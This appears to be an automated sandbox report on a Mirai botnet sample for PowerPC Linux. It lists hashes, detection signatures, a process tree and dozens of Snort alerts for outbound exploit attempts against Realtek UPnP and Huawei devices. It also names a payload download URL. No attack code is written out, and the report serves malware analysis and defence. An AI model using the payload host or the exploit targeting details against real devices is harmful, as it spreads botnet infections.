Edit tour

Linux Analysis Report
IdTVrdi0dC

Overview

General Information

Sample Name:	IdTVrdi0dC
Analysis ID:	634906
MD5:	4a6d63615986750505074e2fd62fb4ff
SHA1:	0549d8ba0c4cd7cdeb4ebc37e9dacad3c7186c8f
SHA256:	2eaced3f2dd6c845cc0cd8591a2d4959c20d45d3b1364195a7b42d4bf0879d91
Tags:	32elfmiraipowerpc
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Sample is packed with UPX

Uses known network protocols on non-standard ports

Connects to many ports of the same IP (likely port scanning)

Sample contains only a LOAD segment without any section mappings

Yara signature match

Deletes log files

HTTP GET or POST without a user agent

Uses the "uname" system call to query kernel version information (possible evasion)

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	634906
Start date and time: 27/05/202201:58:17	2022-05-27 01:58:17 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	IdTVrdi0dC
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal76.troj.evad.lin@0/53@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100
VT rate limit hit for: http://185.44.81.114/bins/mips;

Runtime Messages

Command:	/tmp/IdTVrdi0dC
PID:	6293
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6208, Parent: 1)

logrotate (PID: 6208, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6272, Parent: 6208)

gzip (PID: 6272, Parent: 6208, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6273, Parent: 6208)

sh (PID: 6273, Parent: 6208, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6274, Parent: 6273)

invoke-rc.d (PID: 6274, Parent: 6273, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6275, Parent: 6274)

runlevel (PID: 6275, Parent: 6274, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6278, Parent: 6274)

systemctl (PID: 6278, Parent: 6274, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6279, Parent: 6274)

ls (PID: 6279, Parent: 6274, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6280, Parent: 6274)

systemctl (PID: 6280, Parent: 6274, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6281, Parent: 6208)

gzip (PID: 6281, Parent: 6208, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6282, Parent: 6208)

sh (PID: 6282, Parent: 6208, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6283, Parent: 6282)

rsyslog-rotate (PID: 6283, Parent: 6282, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6284, Parent: 6283)

systemctl (PID: 6284, Parent: 6283, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6209, Parent: 1)

install (PID: 6209, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6249, Parent: 1)

find (PID: 6249, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6277, Parent: 1)

mandb (PID: 6277, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

IdTVrdi0dC (PID: 6293, Parent: 6126, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/IdTVrdi0dC

IdTVrdi0dC New Fork (PID: 6295, Parent: 6293)

IdTVrdi0dC New Fork (PID: 6297, Parent: 6293)

IdTVrdi0dC New Fork (PID: 6299, Parent: 6293)

IdTVrdi0dC New Fork (PID: 6300, Parent: 6293)

IdTVrdi0dC New Fork (PID: 6303, Parent: 6293)

IdTVrdi0dC New Fork (PID: 6304, Parent: 6293)

IdTVrdi0dC New Fork (PID: 6307, Parent: 6304)

IdTVrdi0dC New Fork (PID: 6317, Parent: 6307)

IdTVrdi0dC New Fork (PID: 6319, Parent: 6317)

IdTVrdi0dC New Fork (PID: 6309, Parent: 6304)

IdTVrdi0dC New Fork (PID: 6311, Parent: 6309)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
IdTVrdi0dC	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth	0xa00c:$s1: PROT_EXEC\|PROT_WRITE failed. 0xa07b:$s2: $Id: UPX 0xa02c:$s3: $Info: This file is packed with the UPX executable packer

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Snort Signatures

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.81.141

Timestamp:	192.168.2.23156.244.81.14158806528692027339 05/27/22-01:59:36.594856
SID:	2027339
Source Port:	58806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.54.103

Timestamp:	192.168.2.23156.238.54.10360812372152835222 05/27/22-01:59:24.080046
SID:	2835222
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.33.103

Timestamp:	192.168.2.23156.254.33.10341864528692027339 05/27/22-01:59:27.282691
SID:	2027339
Source Port:	41864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.238.58.244

Timestamp:	192.168.2.23156.238.58.24450826528692027339 05/27/22-02:01:55.686882
SID:	2027339
Source Port:	50826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.90.220

Timestamp:	192.168.2.23156.254.90.22041412528692027339 05/27/22-02:01:24.819246
SID:	2027339
Source Port:	41412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.111.153

Timestamp:	192.168.2.23156.226.111.15343688528692027339 05/27/22-02:02:36.420093
SID:	2027339
Source Port:	43688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.26.50

Timestamp:	192.168.2.23156.230.26.5053942372152835222 05/27/22-02:00:48.185738
SID:	2835222
Source Port:	53942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.98.54

Timestamp:	192.168.2.23156.235.98.5460298528692027339 05/27/22-02:02:03.588566
SID:	2027339
Source Port:	60298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.13.111

Timestamp:	192.168.2.23156.241.13.11156632528692027339 05/27/22-02:02:28.936352
SID:	2027339
Source Port:	56632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.87.189

Timestamp:	192.168.2.23156.244.87.18949872372152835222 05/27/22-02:01:06.220662
SID:	2835222
Source Port:	49872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.239.152.59

Timestamp:	192.168.2.23156.239.152.5940308528692027339 05/27/22-02:01:21.193697
SID:	2027339
Source Port:	40308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.77.199

Timestamp:	192.168.2.23156.226.77.19948134372152835222 05/27/22-02:01:06.437312
SID:	2835222
Source Port:	48134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.86.129

Timestamp:	192.168.2.23156.241.86.12946264372152835222 05/27/22-02:02:18.660029
SID:	2835222
Source Port:	46264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.230.28.85

Timestamp:	192.168.2.23156.230.28.8541732528692027339 05/27/22-02:00:19.002233
SID:	2027339
Source Port:	41732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.106.128

Timestamp:	192.168.2.23156.244.106.12856702528692027339 05/27/22-02:01:11.642375
SID:	2027339
Source Port:	56702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.22.39

Timestamp:	192.168.2.23156.230.22.3938096372152835222 05/27/22-02:00:16.837999
SID:	2835222
Source Port:	38096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.105.121

Timestamp:	192.168.2.23156.226.105.12135478372152835222 05/27/22-02:01:56.434610
SID:	2835222
Source Port:	35478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.127.89

Timestamp:	192.168.2.23156.250.127.8933082528692027339 05/27/22-02:01:11.692792
SID:	2027339
Source Port:	33082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.107.174

Timestamp:	192.168.2.23156.241.107.17440134528692027339 05/27/22-02:00:15.088988
SID:	2027339
Source Port:	40134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.9.85

Timestamp:	192.168.2.23156.241.9.8551482528692027339 05/27/22-01:59:14.781522
SID:	2027339
Source Port:	51482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.106.31

Timestamp:	192.168.2.23156.254.106.3150638372152835222 05/27/22-02:00:15.083835
SID:	2835222
Source Port:	50638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.92.118

Timestamp:	192.168.2.23156.250.92.11838502528692027339 05/27/22-01:59:45.871877
SID:	2027339
Source Port:	38502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.124.137

Timestamp:	192.168.2.23156.244.124.13751360528692027339 05/27/22-02:00:46.025240
SID:	2027339
Source Port:	51360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.26.43

Timestamp:	192.168.2.23156.247.26.4345236372152835222 05/27/22-01:59:23.853441
SID:	2835222
Source Port:	45236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.19.49

Timestamp:	192.168.2.23156.230.19.4956760372152835222 05/27/22-02:00:33.943501
SID:	2835222
Source Port:	56760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.102.45

Timestamp:	192.168.2.23156.226.102.4535730372152835222 05/27/22-02:01:54.932609
SID:	2835222
Source Port:	35730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.48.197

Timestamp:	192.168.2.23156.226.48.19734100372152835222 05/27/22-02:00:08.376395
SID:	2835222
Source Port:	34100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.245.62.167

Timestamp:	192.168.2.23156.245.62.16754588528692027339 05/27/22-02:00:19.890456
SID:	2027339
Source Port:	54588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.86.198

Timestamp:	192.168.2.23156.244.86.19836702528692027339 05/27/22-02:00:35.358091
SID:	2027339
Source Port:	36702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.78.96

Timestamp:	192.168.2.23156.241.78.9650658528692027339 05/27/22-02:00:11.610290
SID:	2027339
Source Port:	50658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.74.182

Timestamp:	192.168.2.23156.226.74.18248786372152835222 05/27/22-01:59:44.097026
SID:	2835222
Source Port:	48786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.95.94

Timestamp:	192.168.2.23156.241.95.9447898372152835222 05/27/22-02:02:06.304012
SID:	2835222
Source Port:	47898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.52.23

Timestamp:	192.168.2.23156.254.52.2345700528692027339 05/27/22-02:01:58.218787
SID:	2027339
Source Port:	45700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.91.94

Timestamp:	192.168.2.23156.226.91.9455170372152835222 05/27/22-02:00:17.323160
SID:	2835222
Source Port:	55170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.122.125

Timestamp:	192.168.2.23156.241.122.12557538528692027339 05/27/22-02:00:35.351461
SID:	2027339
Source Port:	57538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.74.55

Timestamp:	192.168.2.23156.244.74.5558358528692027339 05/27/22-02:02:21.920625
SID:	2027339
Source Port:	58358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.115.252

Timestamp:	192.168.2.23156.241.115.25236214528692027339 05/27/22-01:59:30.621371
SID:	2027339
Source Port:	36214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.199

Timestamp:	192.168.2.23156.224.24.19958360372152835222 05/27/22-01:59:34.881201
SID:	2835222
Source Port:	58360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.78.250

Timestamp:	192.168.2.23156.226.78.25047808372152835222 05/27/22-02:01:59.662027
SID:	2835222
Source Port:	47808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.82.153

Timestamp:	192.168.2.23156.244.82.15344694528692027339 05/27/22-02:01:58.247799
SID:	2027339
Source Port:	44694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.41.165

Timestamp:	192.168.2.23156.254.41.16538674528692027339 05/27/22-01:59:15.425864
SID:	2027339
Source Port:	38674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.92.40

Timestamp:	192.168.2.23156.250.92.4058054372152835222 05/27/22-02:00:25.009375
SID:	2835222
Source Port:	58054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.234.227.147

Timestamp:	192.168.2.23156.234.227.14757440372152835222 05/27/22-02:01:55.609934
SID:	2835222
Source Port:	57440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.106.244

Timestamp:	192.168.2.23156.244.106.24459616372152835222 05/27/22-01:59:12.396985
SID:	2835222
Source Port:	59616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.62.197.159

Timestamp:	192.168.2.2341.62.197.15951682372152835222 05/27/22-01:59:57.739942
SID:	2835222
Source Port:	51682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.109.162

Timestamp:	192.168.2.23156.244.109.16240398528692027339 05/27/22-01:59:15.954194
SID:	2027339
Source Port:	40398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.59.182

Timestamp:	192.168.2.23156.254.59.18246002528692027339 05/27/22-01:59:38.854059
SID:	2027339
Source Port:	46002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.73.186

Timestamp:	192.168.2.23156.244.73.18634582528692027339 05/27/22-02:00:17.389933
SID:	2027339
Source Port:	34582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.92.71

Timestamp:	192.168.2.23156.250.92.7152864528692027339 05/27/22-02:00:30.406969
SID:	2027339
Source Port:	52864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.230.20.143

Timestamp:	192.168.2.23156.230.20.14348324528692027339 05/27/22-02:01:08.553112
SID:	2027339
Source Port:	48324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.59.21

Timestamp:	192.168.2.23156.254.59.2146148528692027339 05/27/22-02:00:14.853376
SID:	2027339
Source Port:	46148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.122.212

Timestamp:	192.168.2.2341.78.122.21256684372152835222 05/27/22-02:01:37.012472
SID:	2835222
Source Port:	56684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.15.196

Timestamp:	192.168.2.23156.226.15.19640402372152835222 05/27/22-01:59:20.356979
SID:	2835222
Source Port:	40402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.85.137

Timestamp:	192.168.2.23156.226.85.13741602372152835222 05/27/22-02:00:07.712861
SID:	2835222
Source Port:	41602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.15.116

Timestamp:	192.168.2.23156.224.15.11642572528692027339 05/27/22-02:00:37.881857
SID:	2027339
Source Port:	42572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.91.100

Timestamp:	192.168.2.23156.241.91.10050030528692027339 05/27/22-02:00:18.551698
SID:	2027339
Source Port:	50030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.70.150

Timestamp:	192.168.2.23156.244.70.15033964372152835222 05/27/22-01:59:34.757301
SID:	2835222
Source Port:	33964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.17.76

Timestamp:	192.168.2.23156.247.17.7641420372152835222 05/27/22-02:01:13.912399
SID:	2835222
Source Port:	41420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.64.142

Timestamp:	192.168.2.23156.244.64.14244396372152835222 05/27/22-02:00:29.460742
SID:	2835222
Source Port:	44396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.84.30

Timestamp:	192.168.2.23156.241.84.3037158528692027339 05/27/22-02:01:06.103355
SID:	2027339
Source Port:	37158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.234.231.83

Timestamp:	192.168.2.23156.234.231.8355454372152835222 05/27/22-01:59:47.462212
SID:	2835222
Source Port:	55454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.58.142

Timestamp:	192.168.2.23156.254.58.14252614528692027339 05/27/22-02:01:55.460901
SID:	2027339
Source Port:	52614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.69.212

Timestamp:	192.168.2.23156.241.69.21244796372152835222 05/27/22-02:00:07.160349
SID:	2835222
Source Port:	44796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.193.241.189

Timestamp:	192.168.2.2341.193.241.18951020528692027339 05/27/22-02:02:27.790700
SID:	2027339
Source Port:	51020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.97.209

Timestamp:	192.168.2.23156.235.97.20942092528692027339 05/27/22-01:59:11.365155
SID:	2027339
Source Port:	42092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.87.253

Timestamp:	192.168.2.23156.244.87.25341444528692027339 05/27/22-02:01:21.724866
SID:	2027339
Source Port:	41444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.111.213

Timestamp:	192.168.2.23156.244.111.21334364372152835222 05/27/22-02:01:49.478596
SID:	2835222
Source Port:	34364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.125.137

Timestamp:	192.168.2.23156.241.125.13759590528692027339 05/27/22-02:02:33.353508
SID:	2027339
Source Port:	59590
Destination Port:	52869
